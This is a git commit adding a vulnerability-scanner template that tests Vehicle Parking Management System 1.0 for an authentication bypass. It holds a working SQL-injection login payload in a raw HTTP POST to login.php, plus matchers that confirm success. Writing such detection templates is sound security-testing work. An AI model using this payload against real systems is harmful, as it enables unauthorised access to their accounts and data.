Merge pull request #574 from dwisiswant0/add/vpms-auth-bypass

Add Vehicle Parking Management System 1.0 - Authentication Bypass
patch-1
bauthard 2020-10-16 13:23:21 +05:30 committed by GitHub
commit ec50c8519e
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 39 additions and 0 deletions

View File

@ -0,0 +1,39 @@
id: vpms-auth-bypass
info:
name: Vehicle Parking Management System 1.0 - Authentication Bypass
author: dwisiswant0
severity: high
# References:
# - https://www.exploit-db.com/exploits/48877
requests:
- raw:
- |
POST /login.php HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Referer: http://{{Hostname}}/login.php
Cookie: PHPSESSID=q4efk7p0vo1866rwdxzq8aeam8
Connection: keep-alive
Upgrade-Insecure-Requests: 1
email=%27%3D%27%27or%27%40email.com&password=%27%3D%27%27or%27&btn_login=1
matchers-condition: and
matchers:
- type: regex
regex:
- "LAGOS PARKER"
- "Login Successfully"
- "location.href = 'index.php';"
condition: and
part: body
- type: status
status:
- 200